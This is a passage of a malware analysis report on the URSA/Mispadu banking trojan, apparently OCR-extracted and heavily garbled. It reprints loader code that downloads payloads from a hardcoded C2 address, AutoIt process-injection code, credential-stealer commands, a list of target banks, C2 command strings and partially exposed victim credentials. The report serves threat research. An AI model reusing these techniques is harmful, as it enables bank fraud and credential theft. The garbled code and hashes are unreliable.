bIsvM = false
sVMPlatform =

sMake - GetkmiProper
sModel =
sBI0SVers

"Manufacturer=" i

Model =

WRTUAL

bIsVM = true
MPlatform = ~
Case "VRTUAL :

latform -

e "AMI -8
bIsWM = true

sVMPlatform = "VS

Tt

ElseIf sModel = "WMware Virtual Platform™ then

" VMuware de

sVMPlatform = ™
bIsvM = true

-V 2882 RTM"

AMI - cbbd

s Virtual

2085 or VPC2884”

ElseIf sModel = “VirtualBox" then

bIsWM = true

swvMPlatform rtualBox"

lse

End if

Figure 12: Anti-VM technique found on the URSA loader.

Next, the script validates the victim devices is geo-located in target locations defined by the malware operators,

namely:

o Spanish - Spain (Traditional) 1034
¢ Portuguese — Brazil — 1046
e Spanish — Mexico — 2058

, assign defaults

This computer does not appear to be a virtual machine.
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e Portuguese — Portugal — 2070
e Spanish — 58378, 3082

set fso = CreateObject("Scripting.FilesystemObject™)
sPasta - cRaizl

If (fso.Fil Pasta & Mid(sNomeMaqg, 2, 3 Then
ile(sPasta & M » 2, 1) rue,false)

Dim sPastaUser

Figure 13: Target locations affected by URSA malware.

If the victim’s computer is executing in a language ID different from the hardcoded, or the computer name is equal to
“JOHN-PC*, the infection process stops. Change the computer name to “JOHN-PC” is a potential killswitch to
avoid URSA infections.

At this moment, the next stage is downloaded from the C2 server. The files are stored into the C:\Users\Public folder
(tmp file), and next moved to a random folder created on the C:\ drive. The name of this folder is based on the
computer name.

const sRoleX ="http://191.235.89.13/p1a"
const sRoleXW2 = "http://191.235.99.13/m/Ip1"

<« c @ @ & 1912359913

Index of /m

Name Last modified  Size Description N .
NFFDEFRFADDCLFPFCFCFNCLFFDEFRFADDCLDACYDFCLBB
o Parent Directory -
m Ipl0.bd2 2020-08-12 12:56 101K
[# lpi1bd2 2020-08-12 12:56 171K
@ Ipl2.bd2 2020-08-12 12:56 139K Dim b32bits
[# 1p13bd2 2020-08-12 12:57 108K
[#) lp14.ba2 2020-08-121 128K set Wshshell = CreateObject(“WScript.Shell”)
[# Ip15.bdz 2020-08-12 12:57 93K
* .8,true, false)
o]
D
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Figure 14: Next binaries (AutolT — the injector/loader) and the URSA trojan (a Delphi binary injected into memory
are download from the C2 server.

Along the way, two additional DLLs are also downloaded. One is a DLL for SSL and the other for SQLite3. They are
probably dependencies packaged in the malware, and to avoid a failure if the target machine does not have these
DLLs/resources installed on the device. We will observe that the final binary — URSA Delphi — has two tools inside
and packed. These tools are legitimate software used during the credential harvesting process.

After this complex process, the final files are moved into the C:\”artibrary_name” folder.

UnZip sPasta & sNomeArq & "1" & <XZ, sPasta

Set fso = CreateObject("Scripting.FileSystemObject")

fso.MoveFile sPasta & cWus3r & "1" , sPastalUser & sNomeArg & "1." & sNomeExt2
fso.DeleteFile(sPasta & sNomeArq + "1" & <XZ)

UnZip sPasta & sNomeArq & “4" & cXZ, sPasta
Set fso = CreateObject("Scripting.FileSystemObject™)

TrocaEntry sPasta & cWus3r & "4, sPastaUser & sNomeArq, cSenload, cSenLoadNova
fso.DeleteFile( sPasta & sNomeArg + "4" & cXZ)

fso.DeleteFile( sPasta & cWus3r & "47)

fs0.CopyFile sPastalser & sNomeArg & sNomeExt & ".d11",sPastalser & sNomeArq & ".d11”,Tru

sNomeEXE = sNomeArq + "ai

UnZip sPasta & sNomeArq & "sq" & cXZ, sPasta

Set fso = CreateObject("Scripting.FileSystemObject™)
fso.MoveFile sPasta & cWus3r & "sq” , sPastalser & "winx86.dll"
fso.DeleteFile( sPasta & sNomeArg + “sq" & cXZ)

fso.DeleteFile( sPastalser & sNomeArq & sNomeExt & ".d11")

UnZip sPasta & sNomeArq & “"s1" & cXZ, sPasta

Set fso = CreateObject(“Scripting.FileSystemObject")
fso.MoveFile sPasta & cWus3r & "sl” , sPastallser & "libea
fso.DeleteFile( sPasta & sNomeArq + "s1" & cXZ)

UnZip sPasta & sNomeArq & “"ss" & cXZ, sPasta

Set fso = CreateObject(“Scripting.FileSystemObject")
fso.MoveFile sPasta & cWus3r & "ss™ , sPastalser & "ssleay32.d11"
fso.DeleteFile( sPasta & sNomeArq + "ss" & cXZ)

UnZip sPasta & sNomeArq & "ai™ & cXZ, sPasta

Set fso = CreateObject("Scripting.FileSystemObject™)
fso.MoveFile sPasta & cWus3r & "ai”™

fso.DeleteFile( sPasta & sNomeArg + "ai” & cXZ)

@pv » Computer » Local Disk (C:) » ot

Organize » Include in library » Share with » New folder
& Fovorites - Name : Date modified Type Size
Bl Desktop %, libeay32.dll 11/22/2018 2:48 PM  Application extens... 1,451 KB
& Downloads L |nll 209:34 AM  File 148 KB
=| Recent Places |E 2 nllaiexe 1:17 PM  Apglication 873 KB
| n11111n 01250 PM  11NFIE b211 K8
4 Libraries | winx86.dll 6/5/2018 12:53 AM ApplicEige =xtens.| B50.KB

| Documents

Figure 15: Final stage is moved into a random folder created on the C:\ (00t — in this case).

e
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Next, another loader/injector, the AutolT file is executed. It is responsible for loading into the memory the final
payload (Delphi file that contains the trojan code and the malicious process).

Set oss = CreateObject("Shell.Application™)

oss.ShellExecute |[sPastallser & sNomeEXE&".exe™, sNomeArq &" @" & sNomeDLL, [sPastaUser , "open”, 1

‘0ss.ShellExecute "c:\" & SPastaEXE & “\" &sNomeEXE&™ .exe”, "c:\" & [sPastaDLL & "\" &sNomeDLL&"."&sExtDLL & "L H1 @w2", "c:\" & SPastaEXE & "\", "open”, 1

eArq &"
NomeArq &"

set objFS0 = CreateObject("Scripting.FileSystemObject™)
set objFile = objFSO.GetFo]der(kDasthser)

objFile.Attributes = objFile.Attributes + 2

End If

End If
End If
'objF50q.DeleteFile(sPathSelf)
Quit

Figure 16: Final payload is executed.

Ursa trojan — AutolT loader/injector

", "c:\" & EPastaExe & "\",

"open”, 1

Threat name: n11ai.exe
MD5: c56b5f0201a3b3de53e561fe76912bfd

Threat name: n111.11n
MD5: 7396051fd6575180166d66ddf0a9295b

Threat name: winx86.dll
MDS5: 87f9e5a6318ac1ecbee05aa94a919d7a

Threat name: libeay32.dll
MD5: f3e6¢c0d52bab27289db2a70e4aab628c¢

Threat name: n11
MD5: 71fdf07084a741b553b97b0d0815fale

The AutolT binary is protected and can be decompiled with the following script available on GitHub. That script is a
build of myAut2Exe modified from the original and based on the version 2.12.
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@ myAut2Exe >The Open Source AutolT/AutoHotKey script decompiler< - dmod 212 build(269) [ = || @ | &

Tools BugFix Info Sean File

) >

File or Folder: |E \Users\dude\Desktophp14

Decoded Sciipt resuks (uncated at MAX_INT chars)

7GLOBAL ¢ MDCODEBUFFER.$_MDLOADDFFSET $ MDGETOFFSET $_MDFREEOFFSET

GLOBAL §_MFHODKPTR.$_MFHDOKBAK.$_MFHOORAPI="LocalCompact”

GLOBAL $_MDKERNEL320LL=DLLOPEN "kemel32 dI')

FLUNC MEMORYFUNCINIT

LOCAL $KERNELHANDLE =DLLCALL($. MDKERNEL32DLL "pir" LoadLibrary”'str". kemel32.dI")

LOCAL $HOOKPTR=DLLCALL($. MDKERNEL32DLL."pt" GietProcAddress'"pir” SKERNELHANDLE[0)."st™.§_MFHOOK
MFHOOKPTR=$HOOKPTR(O]

'$_MFHOC (BAK DLLSTHUEYEH EATE( ubyte[7I')
IDLLCALL{$_MDK " "WriteProcessMemory’
IDLLCALL| MDKEHNELBZDL riteProcesshemory
DLLCALL($_MDKERNEL32DLL "int" "wrteProcesshiemen

| pLLcaLL (5
L DLLCALL (5
ENDFUNC

EJFUNC MEMORYFUNCCALL (5

| ¢ wor 1spLLSTRUCT($

" ?LLSTRUE‘IGETPTH[‘ ?g:HDﬂKEAK]

ENDEUNC
& |LocaL srer FUNC MEMORYFUNCCALLISRET TYPE $ADDRESS. ATYPE1=" SPARAM1-0.$TYPE2-" $PARAM2=0 §TYPE3=""4PA
7 EISWITCH @NUMPARAMS IFNOT ISDLLSTRUCT(S. MFHODKBAKITHEN MEMORYFUNCINIT()
I MENOFFUNCSE TRADDRESS)
L0 RET
R SWITCH @NUMPARAMS
Flcase « CASE 2 il
Jm v

| SRET=DLLCALL(S
E

Automnated run log
Tiying tun vith defeult. Aulot2 A
Tiying run v defaull AutoHotk.ey
Doing an offset scan for possible script stait addresses
St o scrpolfsl 0 - 0D00UCD defal Aulaltd v2007.
SABF40CBBED 36E 22E FE 1FI2E 406
o n‘;la.s Eopsie
Time: 3

| SRET=DLLCALL

Runl
FICASE ELSE —

of:C estore aud

282527 byles loaded

Testing for TextFile

Done. (T extile=True)

ime = 3,25 seconds Success = True |
U aea v
MaTrco

v Dot defele temp Fles (for ex. StanDifset (000000C << |[000000CD

compressedscrpdial L
22 I~ Verbose Mode

LDLLCALL (§_MDK
ENDFINC

Figure 17: AutolT decompiled code (n11ai.exe).

As observed, some calls from kernel32.dll are imported in order to perform the Process Injection technique.
LOCAL $KERNELHANDLE=DLLCALL ($_MDKERNEL32DLL, "ptr","LoadLibrary","str", "kernel32.d11")

$_MFHOOKBAK=DLLSTRUCTCREATE ("ubyte[7]")
DLLCALL ($_MDKERNEL32DLL, "int", "WriteProcessMemory", "ptr", -1, "ptr", DLLSTRUCTGETPTR($_MFHOOKBAK), "ptr", $_MFHO

DLLCALL ($_MDKERNEL32DLL,"int","WriteProcessMemory", "ptr", -1, "ptr",$_MFHOOKPTR, "byte*", 184, "uint", 1, "uint*",

DLLCALL ($_MDKERNEL32DLL, "int", "WriteProcessMemory", "ptr", -1, "ptr",$_MFHOOKPTR+5, "ushort*",6 57599, "uint", 2, "u

In detail, the file n111.11n is one of the DLLs imported — the Delphi PE file. All the DLL files are injected depending
on the passed arguments. These command lines are executed in Figure 17, at the end of the VBScript loader.

"C:\oOt\nllai.exe" nl11 @
"C:\oOt\nllai.exe.exe" nil ##1
"C:\oOt\nllai.exe.exe" /stext "wWwyl1"
"C:\o0Ot\nllai.exe.exe" nll ##3
"C:\o0t\nllai.exe.exe" /stext "WwyQ"

In detail, this AutolT loader is seen as a maestro. It loads the malware by parts, namely:

e n11 @ — DLL inside AutolT that loads the Delphi binary into the memory.
* n11 /stext “WWy1” — executes the module of collecting passwords from the browser.
* n11 /stext “WWYy0” — executes the module of collecting credentials from popular software (FTP, email, etc.).
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111 CASE =

112 $RET=DLLCALL($ MDKERNELS32DLL, SRETTYFE, 5 MFHOOKAFI, STYFEL,SPARAMI ,STYPEZ, SPARAMZ, STYFE3, SPARAMS)

113 CASE -

114 SRET=DLLCALL (5 _MDKERNEL32DLL, SRETTYPE, §_MFHOOKAPI, STYPEL, SPARAMI , STYPE2, SPARAMZ, STYPE3, SPARAM3, STYPE4 , SPARAN4)
115 CASE 13

116 SRET=DLLCALL (§_MDKERNEL32DLL, SRETTYPE, §_MFHOOKAPI, STYPE1, SPARAMI, STYPE2, SPARAMZ, STYPES3, SPARAM3, STYPE4, SPARAMS , STYFES, SPARAMS
117 [ICASE ELSE

118 LOCAL $DLLCALLSTR="D11Call (§_MDKernel32D11, $RetType, §_MFHookApi", SN, §I

119 Sh=1

120 [FOR $7=5 TO @NUMPARAMS STEP 2

121 SDLLCALLSTRE=", S$Type"&SN&", SParam"&SN

122 FSm=l

123 NEXT

124 SDLLCALLSTR&=")"

125 [ SRET=EXECUTE (5DLLCALLSTR)

126 | ENDSWITCH

127 IF SOPENFLAG THEN MEMORYDLLCLOSE (SMODULE)

128 SETERROR (0)

123 LRETURN SRET SegurOnQO
130  ENDFUNC s 4o

131 GLOBAL SDLLEINARY nformghcg

132 CARREGA()

133 SDLL_HANDLE 0=MEMORYDLLOPEN (5DLLEINARY)

134 MEMORYDLLCALL (SDLL HANDLE 0,"int","nllai")

135 [CJFUNC CARREGA()

136 SDLLBINZRY=""

137 SDLLBINARY&—"0x4D5A90000300000004000000FFFFO 000000000000000000000000000
138 SDLLBINARY&="T2756E20696E20444F53206D6F64652E0DODI 6L25969CA36FI65766L2969CA36C963
139 SDLLBINARY&="6BO65066A296586635965966A206TFAOGEDE5966A2965269636 2 0 ) 04
140 $DLLBINARY 0000000000 00000

141 $DLLBINARY&="0

142 SDLLBINARY&="T4657ET40

143 SDLLBINARY&="01

144 SDLLEINARY&="0

145 SDLLBINARY&="0 00 0

146 SDLLBINARY&="00 000 0000 0
147 SDLLBINARYE="00 £2220000083C4048BCE5E5DC20400CCCCCCCCCCCCCLC
148 SDLLEINARY&="082D5 2080 55DC20800CCCCCCCCCCCCCCCCCCCCCCC
149 SDLLBINARY&="CCCCCCC COF 000000C7461000000000C60
150 SDLLBINZRYE="C 1

151 SDLLBINARY&="EB 7

152 SDLLBINARY&="C20800

182 ENTTRTNARVE="2NINTAANNTINNANTANLRE

Figure 18: DLLs injected into the memory (Delphi binary, and other).

On the other side, the two DLLs seem to be referred to SSL and SQLite3, probably dependencies to execute the
tool available inside the Delphi PE file (winx86.dll and libeay32.dll).

finitor.com [c:\oOfwinx36.dll} sitor.com [c:\c0t\libeay32.dil]

property value property value

md5 1ESFD3FCS4734ES6FEAT A13410DFB276 md5 47DD241872FB61 56E CDESEEIIDITEFAT

shal 9BEDDOIERT459FD3DCCDEBAZG043DDIF1BT21 ADA shal 3B4F86A1EE8432CF131E4462CBBE091 2C28384B7

sha256 DC759ACA92F26422F9B1 ECBI57DFFA6BDF2 C6E0TEBAFS62E2EEEADCEFCET22FD sha256 - = 3

file-type dynamic-link library file-type dynamic-link library

— empt date npty

language English-United States language English-United States

code-page Unicode UTF-16, little endian code-page Unicode UTF-16, little endian

CompanyName SQLite Development Team S eql The OpenSSL Project, http://www.openssl.org/

FileDescription SQLite is a software library that implements a self-contained, serverle: chn = iilg;:s;n;‘on OpenSSL Shared Library

FileVersion 32400 N1 filevérsion 1029

InternalName sqlite3 InternalName libeay32

LegalCopyright http://www.sqlite.org/copyright.html OriginalFilename libeay32.dil

ProductName SQLite ProductMName The OpenSSL Teolkit

ProductVersion 3.240 ProductVersion 102q

Sourceld 2018-06-04 19:24:41 <7ee0833225bfd8c5ec2fIbf62b97 c4e04d03bd9566366d5221... Comments Compiled by Frederik A, Winkelsdorf (opend, p om) for the Indy Pre...
LegalCopyright Copyright © 1998-2005 The OpenSSL Project. Copyright © 1995-1998 Eric A. Y...

Figure 19: DLLs stored in the same path of AutolT binary (the Delphi loader).

Digging into the URSA final stage (Delphi trojan)

Threat name: 36f0000.rec.dll (extracted from memory)
MD5: 309335fe1e4f27029a8ec6087e0de1f4
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The last stage is a Delphi binary responsible to execute browser overlay to control and steal the victim’s data while
they are accessing their home banking portals. The activity and code similarities here observed are much close to

other analyzed and popular trojans operating in Portugal and Latin America, such as Grandoreiro and Lampion [1,

2]. According to an ESET analysis, the final payload is Mispadu, an ambitious Latin American banking trojan that
extends its attack surface to web browsers.

The Delphi binary has also two legitimate tools inside. These tools are used to collect credentials stored on the

victim’s device.

= EXE
g¥E WAD: English (United States)
gfE Wr1: English (United States)

Language Details
PE Executable English (United States)
PE Executable English (United States)

email, etc.).

Figure 20: Binary files available inside the Delphi binary.

n11 /stext "WWy1" - executes the module of collecting passwords from the browser.

n11 /stext "WWy0" - executes the module of collecting credentials from popular software (FTP,

These tools are executed when the final stage starts, and the data is stored between the tags “F1” and “F2”

highlighted below.

call  sub_36F9u18

lea edx, [ebp+var_14]

mov eax, offset alytl ; “uyi"
call sub_396D814

mov eax, [ebp+var_14]

lea edx, [ebp+var_u]

call sub_3711648

cmp [ebp+var_u], @

jz short loc_396D3CH

Led vdx, |EUprudr_u]
call sub_36F9418
lea edx, [ebp+uar_18]
mov eax, offset allys ; “uyo"
call sub_396D814
mov eax, [ebp+uvar_18]
lea edx, [ebp+uar 4]
call sub_3711640
cmp [ebp+uvar_u], ©
jz short loc_396D355
L
Y
offset aF1 ; V'====F1===== AN
[ebp+uar_ 4]

offset asc_396D464 ; “rin”

eax, [ebp+var_8]
edx, 4
sub_36FA330

offset agg_aqﬁng7n ; Messmssssssssssss————s—m—east

[ebp+var_8]
offset aF2 ; M====
offset asc_396D46h © '\
[ebp+uar_4]
offset asc_396D46h ; "Lrin”

offset asc_396D47B ; =========o=smosmmoomsooomoot

eax, [ebptvar_8]
eds, 6
sub_36FA330

v

Figure 21: Blocks of code where the credential stealer modules are executed.

In detail, these tools are legitimate and from Nir Sofer. The first one — WebBrowserPassView is launched in

memory and used to exfiltrate credentials from the popular web browsers. On the other side, Mail PassView is used

to collect data from several locations.
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% WebBrowserPassView v2.07
Copyright (c) 2011 - 2020 Nir Sofer

WY0_exe - 69DB49719C444C0D91CD234B1D2F92B1

md5
shal
sha256
file-type

date

language
code-page
CompanyName
FileDescription
FileVersion
InternalName
LegalCopyright
ProductVersion

8413F6ABTDOETO02F53ADBSCIAAAGCCA
857C1 AAGFD4B63CDO5CCEDBIZEDI7I2AERAT4564
1855034D8D18B3D98F81 271 BIBSSAES68490CTE2AFSSDIIEEZEASBBOBI41 ADAT
executable

English-United States
Unicode UTF-16, little endian
NirSoft

Web Browser Password Viewer
206

Web Browser Pass View
Copyright © 2011 - 2020 Nir Sofer
206

004DEDFF63/

md5

shal

sha256
file-type

date

language
code-page
CompanyName
FileDescription
FileVersion
LegalCopyright

&= Mail PassView v1.91 - Extract lost email passwords
Copyright (c) 2003 - 2020 Nir Sofer

35E0BD207F9BEOGE6500
004DEDFF63AC3SEOBD207 FIBEOGESS00
4917F: 4. 4 CHF! 4FOCF.
9ESEB29276 A0EI3BO3E14 AG4C246A41 CC103DBDE06C3A27035B25F00C0104A73
executable

English-United States

Unicode UTF-16, little endian
NirSoft

Email Password-Recovery

186

Copyright © 2003 - 2016 Niir Sofer

{ProductName

PreductVersion

Mail PassView
136

Figure 22: Tools embedded inside the trojan file and used to collect data from the infected device.

At the end of the harvesting process, the data is sent to the C2 server.

Created Time
Modified Time

18/05/2019 11:09:20

: c:\Users\utilizador\AppData‘\Roaming\Opera Software\Opera stable'\Login Data

Filename

URL https://accounts. google. com/signin/v2/s1/pwd
web Browser chr

User Name : faria

Password :

Password Stren
User Name Fiel
Password Field
Created Time
Modified Time
Filename

gth : stron

: ddentifier
: password
18/08/2018 13:22:01

: c:\Users\Utildzador\AppData\Local\Google\Chrome\User Data\Default\Login Data

URL

web Browser
User MName
Password
Password Stren
User Name Fiel
Password Field
Created Time
Modified Time

: chrome
:armin

gth g strong

Password
15/08/2014 19:15:10

: hE;ps://areadec]iente.nos.pt/

mai Ts.com

c:\Users‘utilizador\Apppata\Local\Google\Chrome\user pata\Default\Login Data

Filename

URL : https://areadecliente.nos.pt/
web Browser | : chrome

user Name :_armindo hotmail. com
Password :

Password Stren
User Name Fiel
Password Field
Created Time
Modified Time
Filename

: Strong

gth
. username

password
15/08/2014 19:15:10

: C:\Users‘\Utilizador\AppData\Local\Google\Chrome\User Data\Default\Login Data

19/34


https://seguranca-informatica.pt/wp-content/uploads/2020/09/20.png
https://seguranca-informatica.pt/wp-content/uploads/2020/09/22.png

File Edit Format View Help

<?xml version="1.0" encoding="UuTF-£"7>
<Filezilla3 version="3.33.07 platform="windows" >
<RecentServerss>
<5ervers
<HOST> </Host>
<POrt>cie, v s
<Protocol=0</Protocol>

<Type>0</TvnF>
<Usersy e /User>
<Pass encoding="" z/Pass>

<Logontype=l</Logontypes=
<Timezoneoffset=0</Timezoneoffset>
<PasvMode>MODE_DEFAULT<,/PaswMode>
<MaximumMultipleConnections>0</MaximumMultipleconnections>
<EncodingType>Auto</EncodingType>
) <BypassProxy=0</BypassProxy>
</5ervers>
=zServers>
<HOST>: JHOST>
<POrt>Zi</PUrL>
<Protocol>0</Protocol>

<Type>0</Type>
<User: </User>
<Pass ENCOOTNG="bases4 " >w" /Pass>

<Logontype>l</Logontype>
<Timezoneoffset=0</Timezoneoffset:
<PasvWode>MODE_DEFAULT</Paswmodes>
<MaximumMultipleConnections>0</MaximumMultipleConnections>
<encodingType>Auto</EncodingType>
<BypassProxy=0</BypassProxy=
</servers
<Servers>
<HOST> JHOST=
<POrt=Lsu4; Ful L*
<Protocol>0</Protocol>

<Type=0</Tvnes
<Users>y </User> )
<Pass encoding="base64"> </Pass>

<Logontype>l</Logontypes>
<Timezoneoffsetr>0</Timezoneoffser>
<PasvMode>MODE_DEFAULT</PaswModes
<MaximumMultipleConnections=0</MaximumMultipleConnections>
<EncodingType>Auto</EncodingType>
<BypassProxy>0«</BypassProxy>

</5ervers

Figure 23: Victim’s credentials collected and sent to the C2 server.

The trojan is simultaneously listening and monitoring which windows and websites are accessed by the victim (it get
the focus windows on the web-browser). When a target banking portal is accessed, an overlay window is created on
the legitimate web browser window depending on the accessed banking portal.

In short, the next figure shows some target banks “operated” by URSA trojan criminals.
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= ' L al
st ™E] FPE
moy eax, esi . mou eax, esi moy eax, esi
mov edx, offset aBancounion_bo ; “BANCOUNION BO* mou edx, offset aCorpbanca_ch ; “CORPEANCA_CH moy edx, offset aBankia_es ; “BAMKIA_ES”
call sub_36F97F8 call sub_36F97F8 call sub_36F97F8
cop ebx, 3
inz short loc_39E640F short loc 39E64A8
y o
_ F™E] IE
eax, esi
’ L - mov eax, esi moy eax, esi
edx, offset aBnb_bo ; “BNB_BO mou !dx: offset aBbca_ch ; “BBECA_CH™ mou edx: offset aSabadell_es ; "SABADELL ES™
sub_36F97F8 call  sub_36F97F8 call  sub_36F97F8
cnp ebx, 21h
jnz short loc_: jnz short loc_39E6596
%l % e —
FIE] [
eax, esi . . hov eax, esi nou eax, esi
mov edx, offset aBisa_bo : "8ISA_B0 hou edx, offset aBancofalabella ; “BANCOFALABELLA_CHY mou edx, offset aBankinter_es ; “BANKINIER_ES"
call sub_36F97F8 ball sub_36F97F8 call sub_36F97F8
D —
loc_39E6A20: loc_39E64B9:
cap ebx, 5 cap ebx, BEh
jnz short loc_39E6431 jnz short loc_39E64CA jnz short loc_39E65A7
y o T
i (5 _ e
mou eax, esi e e mou eax, esi eax, esi
mov edx, offset aBcp_bo ; “BEP_BO mou edx, offset aBancoedwards_c : “HAMCOEDWARDS_CH™ edx, offset albercaja_es ; “IBERCAJA_ES”
call sub_36F97F8 call sub_36F97F8 sub_36F97F8
T — _—
P j P ——
A J
FIE] - b T 1
i eax, esi
noy eax, esi ' ir - wgp -
moy edx, offset aGeral_pt ; “GERAL_PT" edx, offset aBpm_it ; “BPH_IT ™E
call sub_36F97F8 L] moy eax, esi
mou edx, offset afzteca_mx : “NZTECA_MX"
call sub_36F97F8
hranca 73
 ——
? g
X
short loc_39E6600 [® T ICO loc_39E6759:
cnp edi, &
nz short loc_39E676A
P -
moy eax, esi eax, es u .
moy edx, offset aBpi_pt ; “BPI_PT" e“:‘,::;;:: abper_it ; “opER_IT
call  sub_36F97F8 e eax, esi
edx, offset aBanamex_mx ; “BANANMEXN_H:™
sub_36F97F8
l:m_ ebx, 34h
jnz short loc_39E661E jnz short loc_39E66R6
 — y o
@u= = —
oy eax, sl mov eax, esi N i . [i
mou edx, offset aNovobanco_pt ; “NOUOBANCD PT* e edx, offset abnicred_it ; “UNICRED_IT L (=
call  sub 36F97F8 L e mou  eax, esi
mou edx, offset aBanorte_mx ; “BANORTE Hx™
call sub_36F97F8
L
loc_39E66A6: -
crp ebx, & iim
inz short loc_99E662F inz short loc_39E6687 loc 39E677B:
- — e
% Y cnp edi, 7
= jnz short loc_39E678C
FIPIE] (a2 : Te——
n mou eax, esi
nou eax, esi it = SEAND "
nou edx, offset aBcp_pt ; “BCP PT™ m;l !d;.szf_;;z: aSampaolo_it ; “SaHPaoLo 1T
call __sub_36F97F8 L o T eax, esi
T

edx, offset aSanta_mx ;
sub_36F97F8
J

“SANTA_MX™

Figure 24: Target banking organizations operated by URSA trojan loader criminals.

The complete list can be found below.
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BMSC_BO
BANCOUNION_BO
BNB_BO
BISA_BO
BCP_BO
FASSIL_BO
BANCOFIE_BO
BANCOSOL_BO
BG_BO
BANECO_BO
CORPBANCA_CH
BBCA_CH
BANCOFALABELLA_CH
BANCOEDWARDS_CH
BANCORIPLEY_CH
TBANCWLS_CH
BANEFE_CH
SCOTIABANK_CH
BICE_CH
BANCOINTER_CH
BANCOCONSORCIO_CH
BITCOIN
PAYPAL
BANKIA_ES
SABADELL_ES
BANKINTER_ES
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LIBERBANK_ES
ABANCA_ES
KUTXABANCA_ES
UNICAJA_ES
GERAL_PT
BPI_PT
NOVOBANCO_PT
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CGD_PT
ACTIVO_PT
MONTEPIO_PT
CREDITOAGR_PT
BPM_IT
BPER_IT
UNICRED_IT
SAMPAOLO_IT
BNL_IT
BANCAMPS_IT
SANTANDER_CH
SANTANDER_ES
BBVA_ES
CAIXABANK_ES
SANTANDER_PT
BBVA_MX
AZTECA_MX
BANAMEX_MX
BANORTE_MX
SANTA_MX
HSBC_MX
SCOTIA_MX
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xico

99_

99

BBVA

banco
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Banco Azteca
banconacional
agrcola

Banco Nacional de México
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During the malware analysis, some interesting overlay windows were obtained. More details and full images
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available at the end of the article.

banorte
Banorte
santander
bancadeempresa
mxico
gobierno

pyme

Banco Santander
caixabank

bpi

CaixaBank
scotiabank
Scotia

hsbc

HSBC

solu

advance
investor
Santader
blockchain
bitcoin
binance
coinbase
kraken

crypto
primebit
bitso

paypal

bankia
bancosabadell
bankinter
ibercaja
liberbank
abanca
kutxabank
unicajabanco
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novobanco
millenniumbcp
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montepio
crditoagr
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bper
unicredit
banking
bancaintesasanpaolo
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banca
bancamps

23/34



-
btnGeralPicture.  Imagel Picture.D  Image2 Picture.D
Data.png atapng ata.png

]

:I

-—T—
Image32 Picture.
Data.png

Image30.Picture.
Data.png

Image33 Picture.
Data.bmp

Je—
imgCGD1.Picture
Data.png

Cubairica
imgCGDO.Picture
‘Datapng

imgCAQ Picture.
Data.png

L

imgMPO.Picture.
Data.png

imgNBO.Picture.
Data.png

imgNB1 Picture.
Data.png

HE __ m— ==
[ Aceptar ] = o | Sl — L
Imaged PictureD  ImageS.PictureD Image7.PictureD ImagelSPicture.  Imagel8 Picture. Image20Picture. Image23Picture. ImageldPicture.  Image25 Picture,
ata.png ata.png ata.png Data.png Data.png Data.png Data.png Datapng Data.png
— BBVA [l BBVA
[ St? = AgtipRadk | Agtivipark) | D
Image38 Picture.  ImageSOPicture.  ImageS2.Picture.  ImageSS.Picture.  Imagelistl Bitma  imgACOPicture.  imgACL Picture.  imgBBVAlogoLPi  imgBBVAlogo2Pi  imgBCO Picture.D
Data.png Data.png Data.png Data.png Data.png Data.png cture.Data.png cture.Data.png
.
—_— .
== Trusteer
- () —
I
imgConfl Picture imgConf2Picture  imgFEPictureDa  imgFPPictureDa  imgGeralAZPictu  imgGeralNO.Pict  imgGeralTop Pict  imgGeralTopEsq,
Data.png Data.png ta.png ta.png reData.png Dat: Dat: Picture.Dat. atapng
alb Santander =
imgSP.Picture.Da  pnlBKO.PictureD  pnlGeralBN.Pictu
tapng ata.png re.Data.png

Figure 25: Banking overlay windows from URSA trojan banker.
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When the malware detects the victims accessed a target home banking portal, a socket connection is established to
the malware operator (C2 server). Criminals control each step, requesting specific data step-by-step in a back-office
portal. Some commands hardcoded inside the malware are presented in Figure 26.

push
mow
mov
mow
call
mou
call
0x398b838 42
0x398b870 74
0x398b8c8 82
0x396b%44 56
0x398bab0 4
0x398bba0 68
0x398c26C 22
0x398c2a0 22
O 398c608 22
Ox398c650 22
0x398c740 24
0x398casc 22
0x3%8caad 26
0x398cef4 20
0x398cf18 26
0x398cfa4 20
0x398cf38 20
0x398cfac 26
0x398cfd4 20
0x338cffe 22
0x398d0 1c 22
0x398d0ec 29
0x336d5f8 66
0x398d63c 56
0x398d678 44
0x398d6a8 42
0x398d6d4 68
0x398d71c 46
0x398d74c 34
0x39%8d7h4 24
0x398d7dc 24

eax
ecx, [ebp-BCh]

edx, offset aHttp191_235_ 8 ;
eax, [ebp-8]

sub_393FEC8

eax, offset aContoulnfectHt :
sub_39688E4

http://191.235.99. 13/

contou infect - http://191.235.99. 13/
ermo ao contar - http://191.235.99.13/ -
\FileZilla \recentservers.xml

Tiempo restante:

1CmnfAYV2tHQW SDCcnQ9alN6Mn ITaNdps\W3U
<|Desktop| >

<[TAMANHO | >

<[TAMANHW | >

<[TAMANHO | >

<|KEYBOARD | >

<|KEYLOG|>

< [TAMANHOKL | >

<lgetsKL|>

< [TAMANHOKL | >

<|okokiL | >

<|getsPS|>

<[TAMANHOPS | >

<|okokPs| >

<|getskL2]>

<|okok#L2] >

<|DOWNLOAD| >

Gerendador de Tarefas do Windows
Gestor de Tarefas do Windows
Gerendador de Tarefas
Gerendador de Tareas
Administrador de tareas de Windows
Administrador de tareas
TaskManagerWindow

net explorer

ozillawindow

Sc:-g uranga
nformat )

Figure 26: Internal commands of URSA trojan.

“http://191.235.99.13/"

O 3995054
Ox3995:98
0x3995¢cc8
03995004

B RAENTLLYRRYY BT TLIRELUNAS 2L 4NDHESYL8BREBUE

$18EHKE

“contou infect - http://191.235.99_13/"

Fasze Espera

< «|<|ESPERA|><<|

« |STAT| >colou

Aguardando dados

Abriu buraco

Fechou burato

<|STAT| >Imagem esp enviada <|>
<|STAT| >Print enviado<|>
<|STAT| >Dados Reenviados <|>

< |STAT| >Reinicands magquina<|>
end k shutdown + 40 f

< [TAMANHOPS | >

< |STAT] »Alpha blend alterado <|»
< |STAT| »Conexao encerrada<|>»
< [STAT| >Maq blogueada<|>

< [STAT| >Conexao resetada<|>
<[STAT| >Maq berada<|>
<|ATIV|>Desativado<|>

< [STAT| >Tam buraco alterado<|>
< [STAT| >L instalado<|>

< |STAT| >¥L desinstalado<|>

< [STAT| »KL desisntalada<|>
<[STAT| >KL alterada <|>

<[STAT| >Comando KL

< [TAMANHOKL | >

< |STAT| >Log Enviado<|>

< [STAT| >Menhum log encontrado<|>
< [STAT| >Transformacao recorte =
< |STAT| sMouse Alterado =
<|STAT| >Comando MostraBarra
<[STAT| >Comando Atuakzalp
<[STAT| >Comando PostMessage
< |STAT| >Comando SendMessage
<[STAT|>Log Apagada<|>
